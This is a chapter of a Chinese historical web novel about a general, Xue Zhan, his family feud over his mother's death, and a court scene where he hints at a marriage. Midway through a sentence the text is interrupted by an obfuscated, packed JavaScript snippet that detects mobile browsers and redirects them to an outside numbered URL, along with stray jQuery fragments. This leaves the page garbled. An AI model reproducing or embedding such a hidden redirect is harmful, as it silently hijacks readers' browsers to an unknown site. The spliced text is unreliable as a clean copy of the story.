剑身冰冷的气息盘桓在颈间,薛如言哑了声,两片嘴皮子紧绷着,望兄长那一眼似惧似怨。
薛瞻自顾在一旁擦剑,双生子侯在薛瞻身后,总用余光瞥他,薛如言心中恼怒,却又不敢再妄论些什么。
兄长方才看他如一具死尸。
凭什么。
薛如言垂首,暗自咬紧后槽牙。他与薛瞻乃血脉至亲,虽不为一母所出,幼时薛瞻却也对他呵护有加。
不知何时起,薛瞻性情变了又变,违背父亲意愿去了边关也就罢了,回来后竟连他这个弟弟也不认了。
虽说父亲总在他面前说,只有自己才是能令父亲引以为傲的儿郎。
可只有他心知肚明,在面对薛瞻时,那股前所未有的挫败感会时刻绕着他缠着他,好似薛瞻天生就该压他一头。
见薛瞻连个眼神都不愿再丢给他,薛如言又在原地站了片刻,仿佛才从惊骇中回神,唇也勉强扯开,“既然大哥忙,那我就不打扰了。”
言罢,他便灰溜溜推开院门离开了此处。
元澄没忍住脸上嘲弄的表情,“大人,他被吓狠了,会不会......”
会不会又去薛江流面前搬弄是非。
薛瞻蓦地将剑身收回剑鞘,转身进了屋内,“不必管他,我既还留在侯府,自然会遵循母亲的遗愿,愚昧之事,我向来不做,若总有人爱来恶心我,我不介意忤逆母亲一次。”
双生子紧抿着唇没吭声。
他们原是城郊山脚猎户之子,双亲都因病逝世后,兄弟二人便离开了那座山头,转而参了军。
也是这般才误打误撞在边关认识了薛瞻,他们兄弟二人少说跟着薛瞻行事已有七年有余,对他母亲之事也称得上知晓前因后果。
宋罗音之父宋澜,乃礼部左侍郎,只育有宋罗音一女,对宋罗音亦是倾尽所有,可偏生就出了意外。
多年前的一场秋狩,世宦贵族皆在场,猎物满满当当,本该圆满收场,却忽现数十名刺客,尚只有十来岁的二皇子及时冲出来替景佑帝挡刀,却没顾及自己的后背。
宋澜两袖清风,文人风骨令他心怀大义,眼见刺客手中的刀就要朝二皇子的后背砍下,他没多想直接挡了过去。
伤口虽不深,刀上却抹了毒。
此举震撼朝野,发丧那日,景佑帝亲临宋家。
宋罗音之母贺氏心灰意冷,悲痛至极,却也不忘替已出嫁的宋罗音求得恩典,只求景佑帝能看在宋澜舍身救驾的情分上,对宋罗音多些庇护。
官场如棋局,景佑帝则是掌控棋盘者,宋澜已殁,宋家只剩贺氏与宋罗音母女二人,皇权之下,已作废的棋子再无作用,宋家无法用此事挟景佑帝一辈子。
是以,贺氏以退为进,拒了景佑帝要追封宋澜一事,自愿孤身回扬州,以此激起景佑帝心中的怜悯之情,逼迫景佑帝当众应下会庇佑宋罗音一世。
有了景佑帝的金口玉言,即便她回了扬州,亦能安下心来。
几载转瞬即逝,大爷薛江流的确对宋罗音做到了相敬如宾,就连二房的侯夫人章兰君,见了宋罗音也得毕恭毕敬唤句长嫂。
薛瞻十四岁前饱读诗书,被宋罗音教得温润如玉,如谦谦公子般。
只是少年郎多少有些气性,薛江流又古板严肃,数不清是第几回被薛江流借着由头责打后,薛瞻冲动之下收拾包袱离开了汴京。
可跟随军队到了边关后,薛瞻便有些后悔了。
然这军营里没有再回头的机会,言行举止还稍显稚嫩的薛瞻只能暗自立誓要在边关挣得功绩再回京。
一别数年,薛江流还是那般古板严厉,对他成了中郎将、身上还携军功一事态度平平,宋罗音亦复薛瞻记忆中的模样,温柔,看他时眉眼噙笑,总爱抬手轻抚他的头。
就在薛瞻得景佑帝嘉赏领了五城兵马司的职后,宋罗音却忽然病重。
那是薛瞻第一次在侯府里与薛江流兵刃相见。
宋罗音体弱,起初不过只是咳疾,倪湘这做妾室的见夫人病重,便吩咐婢女去请郎中。
郎中替宋罗音把了脉后便开了张寻常诊咳疾的方子,可宋罗音却迟迟不见好转,以至于还有了咳血之症。
宋罗音忽然倒下,大房立时乱成了一锅粥,薛瞻连夜命人围了大房的院子,持寒渊逼迫倪湘供出所犯之事,倪湘险些咬碎满口银牙,言她不过只好心请了个郎中来。
薛江流挡在倪湘身前,呵斥薛瞻空口白牙污蔑长辈。
郎中还在屋内替宋罗音诊治,忽地嗅到了药渣之气,忙叫宋罗音身边伺候的妈妈将那药渣找来,一探之下才惊觉他那方子里的桔梗不知何时被替换成了桂枝。
这才迅速加重了宋罗音的病情。
郎中正欲另开方子补救时,宋罗音却已是强弩之末,她本就体弱,如此一番折腾耗尽了体内元气。
把出脉象后,郎中立时慌神,连忙出来将此事告知薛瞻。
薛瞻几乎是顷刻间如坠冰窟。
吩咐元青去宫中请太医后,薛瞻就弃剑进了屋内。
所有人都被隔绝在了屋外。
薛瞻垂首跪在宋罗音床前,听她用一如既往的温柔语气与他说话,只是那声音断断续续的,薛瞻鼻腔发酸,握着宋罗音的手不停揉搓,好叫宋罗音安心,叫她知晓他在这,她不会有事。
可宋罗音到底没撑到太医来。
她仿若知晓自己很快便要离开人世,忆起薛瞻年少冲动行事后,便用尽全力反握住薛瞻的手,撑着最后一口气,与他留下了一句话。
她说——
阖家安顺,诸事吉,他到底是你父亲,莫要与他再起龃龉。
薛瞻在宋罗音床前跪了半夜,直到双膝麻木。
屋外所有人出不得这院子,也只得陪他待着。
良久,薛瞻缓缓拉开了房门,重新将寒渊握在手里,神色平静地指向薛江流。
“我要她死。”
他启声,长时间未饮水的喉咙嘶哑粗粝,眉间戾气已不做掩饰,剑锋往薛江流身后一偏,径直与倪湘对上。
倪湘自然是没死成。
最后一刻是倪湘身边一个贴身婢女站出来认下了此事。
她言自己见不得主子总被宋罗音压上一头,便暗中将桔梗换成了桂枝,好叫宋罗音的病情加重,令她吃个教训。
谋害主上,自然要被乱棍打死,薛瞻却将五城兵马司折磨犯人的那套法子用在了婢女的身上。
倪湘被当场吓得晕厥过去,薛江流颤着手指着薛瞻,却连训斥他都做不到了。
满院子的人只能被迫看着那婢女在凄厉哭喊声中皮开肉绽。
宋罗音的离世令薛瞻有很长一段时间彻夜难眠,无数个昼夜里,他会后悔十四岁那年为何要意气用事。
为何不多忍耐几回。
而今他待在侯府,也是为了完成宋罗音的遗愿。
至于倪湘的命,他会在合适的时机取走,说那被推出来的婢女是主谋,他从未信过。
风声呼啸,元澄的思绪短暂回笼,再度抬眼看向薛瞻,“大人,那位倪姨娘传话的本事极高,过不了今夜,外头的人都知道您已病愈,那......明日要上朝么?”
薛瞻勾唇:“自然是要去的,我若不去,有些人怕是该急了。”
.
隔日薛瞻便出现在金銮殿中。
不知情的朝臣面面相觑,眸中讶色明显,不明白这抱病了大半年的都督如何就神清气爽来上朝了。
而知情者,如枢密院院使傅从章这般时刻注意薛瞻动向之人,昨夜接到薛瞻已病愈的消息后,便连夜与三皇子递了信。
此刻站在薛瞻身侧,见薛瞻神情淡漠,傅从章便借着笏板遮掩与薛瞻搭话:“都督,当真许久不见。”
薛瞻瞥他一眼,似笑非笑答道:“傅院使是今日第一个与我交谈之人,听傅院使的语气,对我好像还颇为关心?”
“你我是同僚,我岂有不关心之理?”傅从章道:“若不是都督尚在病中不可叨扰,我早已登门探视了,再者,这朝中关心都督之人可不止我一个,却只有我与都督明说了,不知都督能否听出诚心二字?”
傅从章一语双关,借着关心薛瞻身体的幌子来试探他的口风,薛瞻侧头认真看了傅从章几眼,那双眼眸好似洞悉了什么,半晌又将头转了回去。
傅从章敛起心神,指腹摩挲着笏板,他相信薛瞻是聪明人,话都说到这份上了,总不会当众打他的脸罢?
薛瞻:“听不懂。”
傅从章:“......”
他故意的!
见三皇子转眸看了过来,傅从章不动声色地与其对视一眼。
帘后有了动静,傅从章只得暂且压下要继续与薛瞻攀谈的心思,转而正色看向从帘后走出的身影。
景佑帝如今年迈,身体却还算硬朗,宫人要搀着他入坐,被他挥手拂开。
他穿一身赭黄圆领袍,浑浊眸色在瞥见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499698|170283||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站在底下的薛瞻后略微亮了些。
“父皇,儿臣有要事奏。”四皇子赵渊率先站了出来。
景佑帝眯着眼睛看向他,“允。”
“陇西节度使常真的折子上提到,陇西一带已接连半年不曾降雨,陇西州县田地居多,再如此下去,恐起旱灾,故儿臣特来请示父皇。”
愈至暮年,景佑帝处理政事的精力愈发有限,除了病逝的先太子之外,他膝下还有四个皇子,兴许是有选储的意思,景佑帝便将四面八方的折子按东西南北各自分给了儿子们。
如今听四皇子赵渊提起陇右之事,景佑帝眉头紧皱,“常真的折子呢?呈上来!”
赵渊忙掏出折子递给了宫人。
景佑帝垂首看得细致,良久才将折子合上,他掐紧眉心揉了揉,对赵渊道:“就由你负责此事,有何处不懂的去向转运司讨教。”
“天不降雨,就从沟渠引水,户部务必在这两日将赈灾账册造出,陇右地势高,免不了要多建新渠。”
户部尚书忙应下。
赵渊得了景佑帝派下的任务,面上一喜,也忙弓着身子答道:“儿臣定不辜负父皇期望!”
此后,余下几位皇子都照例述了些各地官员所呈上来之事,景佑帝听了半晌,虽说神情有些不耐,到底还是听完了。
朝事议完后,金銮殿中的气氛便轻松不少。
景佑帝对臣子也颇为关怀,总爱在朝事之后再论论家事,这会他便掀眼往殿中扫视一圈,看向身材体型日渐有些圆润的工部侍郎裴宿。
他笑道:“裴卿,朕记得你是开春那会成的亲,娶的是鹿鸣书院白院首的次女?”
裴宿忙站出来答道:“回陛下,是。”
“听闻白院首膝下有双娇,长女性情柔顺,才情不输男子,次女则爱张罗些街巷吃食,如今看来,裴卿的确被养得极好。”
裴宿原以为景佑帝是有事要询问他,岂料竟是将他拎出来打趣,一时便涨红了脸,“陛下......”
景佑帝哈哈大笑几声,殿中那股谈论朝事的沉闷被一扫而空,他又看向始终一言不发的薛瞻,“薛卿今日话少,身子可好全了?”
“臣谢陛下挂念,已无大碍。”薛瞻答道。
“薛卿年岁也不小了,你看看裴卿,有夫人管教后连面色都红润了不少,你身上有旧疾,依朕看,身边倒缺个知冷热的人。”
景佑帝打趣薛瞻时的语气更为轻松,言谈间的关怀也做不得假,朝臣们听在耳朵里,不由掀眸看了薛瞻一眼,暗道景佑帝对他当真不一般。
薛瞻如今二十有二,寻常男子如他这般年纪的确早已成亲,景佑帝当着一帮朝臣的面劝薛瞻娶妻一事也并非一两次。
可薛瞻在五城兵马司时就颇有些蛮不讲理,加之他在边关斩下敌军首领头颅之事太过惊骇,满身戾气,谁敢将自家养得娇滴滴的女儿嫁与他。
虽说他这张脸的确生得好......
已至中年的朝臣们垂首看了眼被腰带勒得有些紧的肚子,又暗自摇了摇头。
皮相好有什么用!
他们都是过来人,在这方面是有些经验的。
正经夫妻关起门来过日子可不能只看脸!
好在薛瞻每次都以各种理由推脱避开,是以,朝臣们这次也只是当个乐子去听,并未有谁将此事听进心里去。
朝臣们正颤巍巍替自家女儿暗中松了口气时,就见薛瞻侧头,神色认真地打量了裴宿许久,而后正色点了点头。
“臣觉得陛下所言在理,恰好臣有一心上人,如今正拿不定主意,陛下可愿替臣指点一二?”
“啪嗒。”
方才还暗道又躲过一劫的朝臣一时手不稳,手中的笏板陡然落在金銮殿的地砖上。
几个挨得近的忙用眼神对视。
-你家女儿可与他见过?
-怎么会!你家女儿不是爱出去转么?莫不是被他瞧中了?
-哎哟,此乃大祸!
-祖宗庇佑,可千万别是我家女儿!
景佑帝愣住,惊诧薛瞻竟一改常态,他登时来了兴致,笑问:“哦?不知薛卿的心上人是哪家的小姐?不妨说来与朕听,若那小姐尚无婚配,朕就做主替你赐婚?如何?”
那几个用眼神交流的朝臣险些没站住。
薛瞻笑得古怪,回眸幽幽看了几眼如临大敌的那几位朝臣后,神色变得坦荡。
“下朝后,臣自会告知陛下。”